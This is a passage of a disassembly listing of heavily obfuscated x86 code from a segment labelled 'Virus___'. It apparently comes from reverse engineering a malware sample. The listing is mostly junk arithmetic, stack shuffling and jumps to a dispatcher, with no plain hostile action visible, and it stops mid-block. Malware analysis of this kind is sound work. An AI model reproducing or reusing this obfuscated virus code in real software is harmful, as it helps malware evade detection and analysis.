loc_551CFA:				; CODE XREF: Virus___:00561FF6j
		xor	esi, 0F713BDA5h
		sub	ebx, 6A1C3DBAh
		add	ebx, esi
		add	ebx, 6A1C3DBAh
		push	dword ptr [esp]
		jmp	loc_553C8E
; ---------------------------------------------------------------------------


loc_551D16:				; CODE XREF: Virus___:00556E51j
		not	esi
		sub	esi, 8A9040A5h
		mov	ebp, esi
		pop	esi
		mov	eax, 48506C03h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2E870A6Dh
		shr	esi, 7
		jmp	loc_564020
; ---------------------------------------------------------------------------


loc_551D3F:				; CODE XREF: Virus___:00557A14j
		pop	esp
		push	ebp
		push	edi
		jmp	loc_55E284
; ---------------------------------------------------------------------------


loc_551D47:				; CODE XREF: Virus___:0055AF14j
		add	eax, 3BC91689h
		pop	edi
		jmp	loc_5626F7
; ---------------------------------------------------------------------------


loc_551D52:				; CODE XREF: Virus___:0055B95Cj
		pop	esp
		mov	[esp], esi
		jmp	loc_5601D3
; ---------------------------------------------------------------------------


loc_551D5B:				; CODE XREF: Virus___:0055E669j
		mov	cl, 0E8h
		shr	cl, 3
		shl	cl, 1
		neg	cl
		jmp	loc_555922
; ---------------------------------------------------------------------------


loc_551D69:				; CODE XREF: Virus___:0055B9CDj
		mov	edx, [esp]
		jmp	loc_560AC5
; ---------------------------------------------------------------------------


loc_551D71:				; CODE XREF: Virus___:0055525Ej
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_556C52
; ---------------------------------------------------------------------------


loc_551D85:				; CODE XREF: Virus___:00557EA3j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_558F8A
; ---------------------------------------------------------------------------


loc_551DA1:				; CODE XREF: Virus___:005572B9j
		push	eax
		neg	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_551216
; ---------------------------------------------------------------------------


loc_551DAC:				; CODE XREF: Virus___:00552182j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55B394
; ---------------------------------------------------------------------------


loc_551DBA:				; CODE XREF: Virus___:00564281j
		push	ecx
		jmp	loc_5582C2
; ---------------------------------------------------------------------------


loc_551DC0:				; CODE XREF: Virus___:00551F11j
		add	ebx, 2F0367DBh
		add	ebx, esi
		sub	ebx, 2F0367DBh
		push	dword ptr [esp]
		jmp	loc_553B80
; ---------------------------------------------------------------------------


loc_551DD6:				; CODE XREF: Virus___:005543DBj
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_561ECD
; ---------------------------------------------------------------------------


loc_551DE4:				; CODE XREF: Virus___:00553609j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_550368
; ---------------------------------------------------------------------------


loc_551DFE:				; CODE XREF: Virus___:0055DF05j
		pop	dx
		xor	al, ch
		pop	ecx
		push	ebx
		push	ecx
		mov	cl, 3Ch
		inc	cl
		jmp	loc_556FF0
; ---------------------------------------------------------------------------


loc_551E0E:				; CODE XREF: Virus___:0055E5FCj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551E13:				; CODE XREF: Virus___:0055D1DBj
		sub	ebp, 1D3E27BAh
		xor	ebp, 0EC1835E3h
		and	edi, ebp
		jmp	loc_55BBCC
; ---------------------------------------------------------------------------


loc_551E26:				; CODE XREF: Virus___:00560D7Bj
		neg	edx
		push	ebp
		mov	ebp, 3DBA7E1Fh
		not	ebp
		xor	ebp, 23F0943Ch
		sub	edx, ebp
		pop	ebp
		jmp	loc_55FEA3
; ---------------------------------------------------------------------------


loc_551E3E:				; CODE XREF: Virus___:00563FB9j
		pop	esp
		mov	fs:[edx], al
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551E47:				; CODE XREF: Virus___:00553BD8j
		pop	edi
		push	2FE8h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_559FE0
; ---------------------------------------------------------------------------


loc_551E5A:				; CODE XREF: Virus___:0054FC62j
		push	edx
		jmp	loc_55B33D
; ---------------------------------------------------------------------------


loc_551E60:				; CODE XREF: Virus___:00551036j
		push	2ABDh
		mov	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551E6D:				; CODE XREF: Virus___:0055E89Ej
		xor	[esp], eax
		jmp	loc_561FD3
; ---------------------------------------------------------------------------


loc_551E75:				; CODE XREF: Virus___:00559D59j
		sub	dl, 7Dh
		add	bl, dl
		jmp	loc_562AC5
; ---------------------------------------------------------------------------


loc_551E7F:				; CODE XREF: Virus___:00553895j
		sub	ebx, 21AC372Eh
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55DC14
; ---------------------------------------------------------------------------


loc_551EB0:				; CODE XREF: Virus___:00550317j
		push	6E72h
		mov	[esp], eax
		mov	edx, [esp]
		push	ebp
		sub	esp, 4
		jmp	loc_561426
; ---------------------------------------------------------------------------


loc_551EC7:				; CODE XREF: Virus___:0055C8C3j
		inc	eax
		neg	eax
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 67E8196Fh
		add	ecx, 488B7E07h
		neg	ecx
		shl	ecx, 1
		sub	ecx, 25377CEDh
		push	edx
		mov	edx, 75533A94h
		neg	edx
		push	esi
		mov	esi, 52E33A1Ch
		dec	esi
		dec	esi
		jmp	loc_557631
; ---------------------------------------------------------------------------


loc_551EFB:				; CODE XREF: Virus___:005555B4j
		pop	eax
		not	cl
		shr	cl, 4
		push	38D0h
		jmp	loc_559C66
; ---------------------------------------------------------------------------


loc_551F0B:				; CODE XREF: Virus___:00564177j
		add	esp, 4
		jmp	loc_551DC0
; ---------------------------------------------------------------------------


loc_551F16:				; CODE XREF: Virus___:00552232j
		and	bh, 67h
		or	bh, 23h
		sub	bh, 0FAh
		sub	dh, bh
		pop	ebx
		push	eax
		mov	al, dh
		jmp	loc_55F4F3
; ---------------------------------------------------------------------------


loc_551F2A:				; CODE XREF: Virus___:0054FE2Dj
		push	ebx
		jmp	loc_55BEC7
; ---------------------------------------------------------------------------


loc_551F30:				; CODE XREF: Virus___:00551AD8j
		push	dword ptr [esp]
		jmp	loc_55C557
; ---------------------------------------------------------------------------


loc_551F38:				; CODE XREF: Virus___:005562FBj
		sub	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 43244B58h
		and	ebx, 657B358Bh
		sub	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 58BD64B1h
		or	edx, 25076679h
		add	edx, 5C731D9Fh
		or	edx, 56906BF3h
		not	edx
		jmp	loc_55A775
; ---------------------------------------------------------------------------


loc_551F69:				; CODE XREF: Virus___:005568FDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	72D7h
		mov	[esp], edi
		jmp	loc_562E01
; ---------------------------------------------------------------------------


loc_551F89:				; CODE XREF: Virus___:005638C7j
		sub	esi, 225A23A7h
		sub	esi, 0D0B473Bh
		add	esi, eax
		add	esi, 0D0B473Bh
		push	edx
		jmp	loc_55F464
; ---------------------------------------------------------------------------


loc_551FA3:				; CODE XREF: Virus___:005506F1j
		push	ebx
		jmp	loc_55FE87
; ---------------------------------------------------------------------------


loc_551FA9:				; CODE XREF: Virus___:00557A2Cj
		mov	ecx, [esp]
		jmp	loc_5605AF
; ---------------------------------------------------------------------------


loc_551FB1:				; CODE XREF: Virus___:00560A88j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_564944
; ---------------------------------------------------------------------------


loc_551FC9:				; CODE XREF: Virus___:00560006j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561A40
; ---------------------------------------------------------------------------


loc_551FD5:				; CODE XREF: Virus___:005575B0j
		shl	ecx, 5
		push	edx
		mov	edx, 6F2D15B4h
		and	ecx, edx
		pop	edx
		not	ecx
		jmp	loc_559CF7
; ---------------------------------------------------------------------------


loc_551FE8:				; CODE XREF: Virus___:00552F64j
		xor	ecx, 6E2EBDh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	4E7Ch
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_559565
; ---------------------------------------------------------------------------


loc_55200E:				; CODE XREF: Virus___:00554E5Aj
		mov	edx, 6F90692h
		xor	edx, 0C5C50487h
		sub	edi, edx
		jmp	loc_55225B
; ---------------------------------------------------------------------------


loc_552020:				; CODE XREF: Virus___:0055315Aj
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552032:				; CODE XREF: Virus___:005602EBj
		pop	edx
		sub	bl, cl
		pop	cx
		movzx	eax, al
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		push	eax
		push	ebx
		mov	ebx, 3B5940CFh
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_559316
; ---------------------------------------------------------------------------


loc_552052:				; CODE XREF: Virus___:005623B6j
		push	eax
		push	ebx
		mov	ebx, 2
		jmp	loc_55F3A3
; ---------------------------------------------------------------------------


loc_55205E:				; CODE XREF: Virus___:0055751Fj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55CF20
; ---------------------------------------------------------------------------


loc_55206E:				; CODE XREF: Virus___:00553DE5j
		add	al, 60h
		mov	cx, [esp]
		jmp	loc_560BC7
; ---------------------------------------------------------------------------


loc_552079:				; CODE XREF: Virus___:0055DDA5j
		push	0D6Eh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 36E90639h
		sub	ecx, 78BD4EC4h
		not	ecx
		not	ecx
		shr	ecx, 8
		jmp	loc_55C37B
; ---------------------------------------------------------------------------


loc_55209E:				; CODE XREF: Virus___:00563481j
		xor	edi, 5DAF0910h
		shl	edi, 3
		add	edi, 0BA80555Ch
		jmp	loc_55F810
; ---------------------------------------------------------------------------


loc_5520B2:				; CODE XREF: Virus___:005514CBj
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		push	small 7611h
		mov	[esp], dx
		push	6903h
		jmp	loc_55B5EF
; ---------------------------------------------------------------------------


loc_5520DB:				; CODE XREF: Virus___:0055A715j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_554CD1
; ---------------------------------------------------------------------------


loc_5520F1:				; CODE XREF: Virus___:005603BAj
		mov	eax, 4
		jmp	loc_552B74
; ---------------------------------------------------------------------------


loc_5520FB:				; CODE XREF: Virus___:00552A8Cj
		shl	ah, 2
		not	ah
		dec	ah
		not	ah
		sub	ah, 58h
		add	cl, 13h
		push	edx
		mov	dl, 0D1h
		dec	dl
		add	dl, 0AEh
		sub	cl, dl
		pop	edx
		sub	cl, ah
		push	eax
		mov	al, 7Eh
		sub	cl, 70h
		sub	cl, 72h
		add	cl, al
		push	ebx
		mov	bl, 72h
		add	cl, bl
		pop	ebx
		push	ebx
		jmp	loc_55F101
; ---------------------------------------------------------------------------


loc_55212E:				; CODE XREF: Virus___:00552C00j
		add	esp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55009F
; ---------------------------------------------------------------------------


loc_552147:				; CODE XREF: Virus___:0055D696j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552152:				; CODE XREF: Virus___:00550BDAj
		mov	[esp], eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55665D
; ---------------------------------------------------------------------------


loc_552163:				; CODE XREF: Virus___:00561BB3j
		mov	ecx, 2C0673AEh
		jmp	loc_55C5E5
; ---------------------------------------------------------------------------


loc_55216D:				; CODE XREF: Virus___:00559734j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_557E83
; ---------------------------------------------------------------------------


loc_55217F:				; CODE XREF: Virus___:0055AFEBj
		xor	esi, [esp]
		jmp	loc_551DAC
; ---------------------------------------------------------------------------


loc_552187:				; CODE XREF: Virus___:00559293j
		push	dword ptr [esp]
		jmp	loc_55134D
; ---------------------------------------------------------------------------


loc_55218F:				; CODE XREF: Virus___:00552B5Fj
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_558081
; ---------------------------------------------------------------------------


loc_552199:				; CODE XREF: Virus___:005516A3j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55EF7D
; ---------------------------------------------------------------------------


loc_5521A7:				; CODE XREF: Virus___:0055A514j
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		push	7AC4h
		mov	[esp], eax
		mov	eax, 459C6D33h
		mov	edi, 7FE29A3Dh
		sub	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_556A3B
; ---------------------------------------------------------------------------


loc_5521DF:				; CODE XREF: Virus___:005596E8j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55FEE0
; ---------------------------------------------------------------------------


loc_5521F5:				; CODE XREF: Virus___:0055915Dj
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 4
		jmp	loc_5597E6
; ---------------------------------------------------------------------------


loc_552202:				; CODE XREF: Virus___:005556B8j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 62605FE3h
		jmp	loc_553A6A
; ---------------------------------------------------------------------------


loc_552216:				; CODE XREF: Virus___:0055565Fj
		mov	ah, 0BAh
		or	cl, ah
		pop	ax
		dec	cl
		sub	cl, 4Ah
		sub	cl, 6Ah
		sub	dh, cl
		pop	ecx
		push	ebx
		mov	bh, 0CEh
		sub	bh, 63h
		dec	bh
		xor	bh, 81h
		jmp	loc_551F16
; ---------------------------------------------------------------------------


loc_552237:				; CODE XREF: Virus___:00554919j
		xor	eax, ebx
		push	2A0Ch
		jmp	loc_5580A5
; ---------------------------------------------------------------------------


loc_552243:				; CODE XREF: Virus___:00557B5Cj
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563612
; ---------------------------------------------------------------------------


loc_552250:				; CODE XREF: Virus___:0055E314j
		push	ax
		mov	ah, 86h
		sub	bl, ah
		jmp	loc_556A62
; ---------------------------------------------------------------------------


loc_55225B:				; CODE XREF: Virus___:0055201Bj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, edi
		push	77CAh
		mov	[esp], ebx
		pop	ebp
		pop	ebx
		pop	edi
		neg	ebp
		shl	ebp, 7
		push	ecx
		mov	ecx, 28463C6Ah
		xor	ebp, ecx
		jmp	loc_558FFC
; ---------------------------------------------------------------------------


loc_552281:				; CODE XREF: Virus___:005605D2j
		mov	esi, ebx
		jmp	loc_554885
; ---------------------------------------------------------------------------
		push	small 0F21h
		mov	[esp], bx
		push	6744h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, ch
		jmp	loc_5637A9
; ---------------------------------------------------------------------------


loc_5522A6:				; CODE XREF: Virus___:005568D6j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		jmp	loc_551C02
; ---------------------------------------------------------------------------


loc_5522C0:				; CODE XREF: Virus___:0055B68Fj
		mov	ebx, 140978B0h
		add	ebx, 3ABFABA1h
		xor	edi, ebx
		pop	ebx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 1
		push	ebp
		jmp	loc_55D958
; ---------------------------------------------------------------------------


loc_5522E1:				; CODE XREF: Virus___:00560044j
		mov	eax, 55535D5h
		jmp	loc_55407F
; ---------------------------------------------------------------------------


loc_5522EB:				; CODE XREF: Virus___:0055EBF2j
		sub	ecx, 5B08354Ch
		neg	ecx
		not	ecx
		jmp	loc_555C87
; ---------------------------------------------------------------------------


loc_5522FA:				; CODE XREF: Virus___:005563C7j
		push	56CBh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		jmp	loc_5505A9
; ---------------------------------------------------------------------------


loc_55230A:				; CODE XREF: Virus___:0055E37Fj
		pop	edi
		xor	edi, 2EF56FC3h
		mov	edx, edi
		pop	edi
		pop	eax
		jmp	loc_556F5D
; ---------------------------------------------------------------------------


loc_55231A:				; CODE XREF: Virus___:0055BADFj
		push	4FFFh
		mov	[esp], esi
		push	64E24A3Eh
		pop	esi
		sub	dword ptr [esp+4], 130D4CADh
		sub	[esp+4], esi
		add	dword ptr [esp+4], 130D4CADh
		push	dword ptr [esp]
		jmp	loc_55D0E8
; ---------------------------------------------------------------------------


loc_552344:				; CODE XREF: Virus___:0055A146j
		sub	esi, 2
		xchg	esi, [esp]
		jmp	loc_55165E
; ---------------------------------------------------------------------------


loc_55234F:				; CODE XREF: Virus___:00551018j
		push	edx
		jmp	loc_556A42
; ---------------------------------------------------------------------------


loc_552355:				; CODE XREF: Virus___:005554B5j
		shl	ebx, 6
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	66C16748h
		pop	edi
		neg	edi
		jmp	loc_550E7E
; ---------------------------------------------------------------------------


loc_55236C:				; CODE XREF: Virus___:0055908Dj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552371:				; CODE XREF: Virus___:005518E5j
		mov	ecx, eax
		push	ecx
		push	5CDEh
		mov	[esp], ebp
		push	4D77h
		mov	[esp], ecx
		mov	ecx, 29117B28h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_559C4F
; ---------------------------------------------------------------------------


loc_552394:				; CODE XREF: Virus___:00555CD2j
		sub	ecx, 130F6974h
		jmp	loc_55302D
; ---------------------------------------------------------------------------


loc_55239F:				; CODE XREF: Virus___:00559676j
		push	ecx
		mov	ecx, 368D0C6Dh
		mov	ebp, 27172BDBh
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 7BBD7EFEh
		sub	ebp, 6A275944h
		mov	ebx, ebp
		pop	ebp
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		add	edx, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7F863FC6h
		jmp	loc_55F179
; ---------------------------------------------------------------------------


loc_5523D8:				; CODE XREF: Virus___:0056240Bj
		not	bp
		jmp	loc_55C321
; ---------------------------------------------------------------------------


loc_5523E0:				; CODE XREF: Virus___:00553B8Ej
		xchg	eax, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_554290
; ---------------------------------------------------------------------------


loc_5523EF:				; CODE XREF: Virus___:0055804Bj
		pop	esi
		neg	edi
		neg	edi
		sub	edi, 0BAC27CD3h
		add	eax, 23694BDBh
		sub	eax, edi
		sub	eax, 23694BDBh
		pop	edi
		sub	esi, 58D55375h
		add	esi, eax
		push	ecx
		jmp	loc_55B621
; ---------------------------------------------------------------------------


loc_552415:				; CODE XREF: Virus___:0055457Dj
		dec	ecx
		jmp	loc_55A4E8
; ---------------------------------------------------------------------------


loc_55241B:				; CODE XREF: Virus___:00554880j
		xor	edx, 0D080CF5h
		pop	ebp
		jmp	loc_5615A3
; ---------------------------------------------------------------------------


loc_552427:				; CODE XREF: Virus___:00553540j
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	7B4Bh
		mov	[esp], edx
		jmp	loc_55C5EC
; ---------------------------------------------------------------------------


loc_55243E:				; CODE XREF: Virus___:00556EFDj
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 7A897FE3h
		xor	esi, 15C66662h
		push	esi
		add	dword ptr [esp], 2C8755B7h
		jmp	loc_552F99
; ---------------------------------------------------------------------------


loc_55245F:				; CODE XREF: Virus___:0055369Cj
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2CF04644h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	6158h
		mov	[esp], edx
		push	ebp
		push	5F49425Fh
		pop	ebp
		add	ebp, 42FF078Ah
		xor	ebp, 0A3263CCDh
		jmp	loc_563EB7
; ---------------------------------------------------------------------------


loc_5524AD:				; CODE XREF: Virus___:005502CAj
		push	7568h
		mov	[esp], ecx
		jmp	loc_55BD30
; ---------------------------------------------------------------------------


loc_5524BA:				; CODE XREF: Virus___:0055D37Aj
		xor	esi, 625D7D3Fh
		jmp	loc_557524
; ---------------------------------------------------------------------------


loc_5524C5:				; CODE XREF: Virus___:00555BFDj
		add	dword ptr [esp+4], 3C91607Ch
		pop	eax
		pop	dword ptr [esp]
		push	7E90h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5524E8:				; CODE XREF: Virus___:0055BCC2j
		push	ax
		mov	al, bl
		mov	bl, ch
		mov	ch, al
		pop	ax
		xor	[esp], ch
		xor	ch, [esp]
		xor	[esp], ch
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		push	eax
		mov	eax, 78AA3475h
		not	eax
		not	eax
		sub	eax, 54DFF23Ah
		mov	ecx, eax
		pop	eax
		or	ecx, 540446CAh
		not	ecx
		xor	ecx, 493B6369h
		or	ecx, 17EF07CFh
		add	ecx, 2CD65118h
		add	eax, 6F6B2C1Dh
		sub	eax, 38F221Fh
		sub	eax, ecx
		add	eax, 38F221Fh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6F6B2C1Dh
		sub	eax, 228668C4h
		sub	eax, edi
		add	eax, 228668C4h
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 65915B5Eh
		push	ebp
		mov	ebp, 1FB02D6Dh
		jmp	loc_550CC8
; ---------------------------------------------------------------------------


loc_552570:				; CODE XREF: Virus___:005612F9j
		mov	bh, 0D1h
		shl	bh, 4
		sub	bh, 94h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 9Fh
		shl	dl, 1
		and	dl, 0E6h
		or	dl, 4Ch
		push	ecx
		mov	ch, 25h
		or	ch, 17h
		xor	ch, 0BDh
		add	ch, 1
		sub	ch, 17h
		and	dl, ch
		pop	ecx
		sub	dl, 1
		push	ecx
		mov	cl, 73h
		push	ebx
		mov	bl, 31h
		add	bl, 0D0h
		xor	bl, 59h
		and	cl, bl
		pop	ebx
		sub	cl, 67h
		add	dl, cl
		pop	ecx
		sub	bh, dl
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0F7h
		add	bh, al
		pop	eax
		xor	cl, bh
		pop	ebx
		xor	cl, 0B5h
		push	ebx
		mov	bl, cl
		mov	dl, bl
		pop	ebx
		jmp	loc_554000
; ---------------------------------------------------------------------------


loc_5525D1:				; CODE XREF: Virus___:005533FEj
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55D4E0
; ---------------------------------------------------------------------------


loc_5525E3:				; CODE XREF: Virus___:00554913j
		mov	[esp], ebp
		push	ebx
		jmp	loc_55B783
; ---------------------------------------------------------------------------


loc_5525EC:				; CODE XREF: Virus___:0055025Ej
		mov	ebp, 0BD02F42h
		or	ebp, 501147BCh
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		dec	ebp
		push	1590h
		jmp	loc_55FD05
; ---------------------------------------------------------------------------


loc_552608:				; CODE XREF: Virus___:0056336Aj
		mov	esi, 59016017h
		mov	ecx, 0A6FE9FE9h
		jmp	loc_557B4C
; ---------------------------------------------------------------------------


loc_552617:				; CODE XREF: Virus___:00555D27j
		sub	bx, 833h
		push	ebp
		mov	bp, bx
		mov	dx, bp
		pop	ebp
		pop	ebx
		jmp	loc_55A3CB
; ---------------------------------------------------------------------------


loc_55262A:				; CODE XREF: Virus___:00560060j
		pop	esi
		sub	esi, eax
		mov	eax, esi
		pop	esi
		neg	eax
		dec	eax
		jmp	loc_554C69
; ---------------------------------------------------------------------------


loc_552638:				; CODE XREF: Virus___:00564CB3j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55263D:				; CODE XREF: Virus___:00553A6Bj
		mov	ecx, 62605FE7h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_559D17
; ---------------------------------------------------------------------------


loc_55264A:				; CODE XREF: Virus___:00559799j
		mov	edx, esp
		jmp	loc_55DDF9
; ---------------------------------------------------------------------------


loc_552651:				; CODE XREF: Virus___:005535FCj
		pop	ebp
		xor	eax, edi
		jmp	loc_550973
; ---------------------------------------------------------------------------


loc_552659:				; CODE XREF: Virus___:00553165j
		add	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_564148
; ---------------------------------------------------------------------------


loc_552662:				; CODE XREF: Virus___:00562622j
		push	0ED3h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552671:				; CODE XREF: Virus___:0055FE7Cj
		add	eax, ebx
		jmp	loc_562320
; ---------------------------------------------------------------------------


loc_552678:				; CODE XREF: Virus___:005585CEj
		xor	eax, esi
		push	1AE1h
		mov	[esp], edx
		push	3B72h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4CB36054h
		push	edx
		pop	edi
		jmp	loc_55F992
; ---------------------------------------------------------------------------


loc_55269C:				; CODE XREF: Virus___:0056331Cj
		sub	ch, 0EFh
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_56098F
; ---------------------------------------------------------------------------


loc_5526A9:				; CODE XREF: Virus___:0055C03Ej
		mov	ebp, 7AEE0DDEh
		jmp	loc_559647
; ---------------------------------------------------------------------------


loc_5526B3:				; CODE XREF: Virus___:00559D9Cj
		sub	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1C362FC6h
		inc	ebx
		dec	ebx
		dec	ebx
		and	ebx, 226845C6h
		xor	ebx, 5AA66E54h
		add	ebx, 1A65F45Ah
		jmp	loc_56082A
; ---------------------------------------------------------------------------


loc_5526DB:				; CODE XREF: Virus___:0054FD08j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55022A
; ---------------------------------------------------------------------------


loc_5526E6:				; CODE XREF: Virus___:0055BEAEj
		and	esi, 1FD45CC8h
		and	esi, 76F04DFAh
		add	esi, 0EB6FB384h
		add	edx, esi
		pop	esi
		jmp	loc_5551BA
; ---------------------------------------------------------------------------


loc_552700:				; CODE XREF: Virus___:00559A06j
		add	esp, 4
		jmp	loc_563DE9
; ---------------------------------------------------------------------------


loc_552708:				; CODE XREF: Virus___:0055AD84j
		mov	[esp], esi
		push	edx
		push	7A2A1A93h
		pop	edx
		add	edx, 0B456205Fh
		push	ebx
		mov	ebx, edx
		jmp	loc_55366A
; ---------------------------------------------------------------------------


loc_552720:				; CODE XREF: Virus___:0055D2F2j
		pop	ebx
		sub	ebx, 62DC020Ah
		mov	ebp, ebx
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		jmp	loc_5541CF
; ---------------------------------------------------------------------------


loc_55273A:				; CODE XREF: Virus___:005630FEj
		add	esp, 4
		sub	edi, 7B3874B7h
		add	edi, eax
		add	edi, 7B3874B7h
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_562410
; ---------------------------------------------------------------------------


loc_552757:				; CODE XREF: Virus___:00554FD7j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55FB37
; ---------------------------------------------------------------------------


loc_552768:				; CODE XREF: Virus___:005563A3j
		xor	ebp, 1F80733h
		jmp	loc_563043
; ---------------------------------------------------------------------------


loc_552773:				; CODE XREF: Virus___:0054F9BCj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552778:				; CODE XREF: Virus___:00553508j
		mov	edx, [esp]
		jmp	loc_55BA85
; ---------------------------------------------------------------------------


loc_552780:				; CODE XREF: Virus___:00552E2Aj
		sub	bl, ch
		add	bl, 89h
		pop	ecx
		jmp	loc_55C5D0
; ---------------------------------------------------------------------------


loc_55278B:				; CODE XREF: Virus___:00552C58j
		add	esp, 4
		add	edi, 4
		jmp	loc_55F099
; ---------------------------------------------------------------------------


loc_552799:				; CODE XREF: Virus___:00560A14j
		add	dword ptr [esp+4], 1E7259DEh
		add	[esp+4], edi
		push	edx
		mov	edx, 1E7259DEh
		sub	[esp+8], edx
		jmp	loc_5631A4
; ---------------------------------------------------------------------------


loc_5527B4:				; CODE XREF: Virus___:00551169j
		push	edi
		mov	edi, 1ECB6883h
		push	edx
		push	251137B1h
		pop	edx
		and	edx, 7BE605B2h
		jmp	loc_558002
; ---------------------------------------------------------------------------


loc_5527CC:				; CODE XREF: Virus___:0055BF30j
		add	ebp, edi
		sub	ebp, 47FC068Dh
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
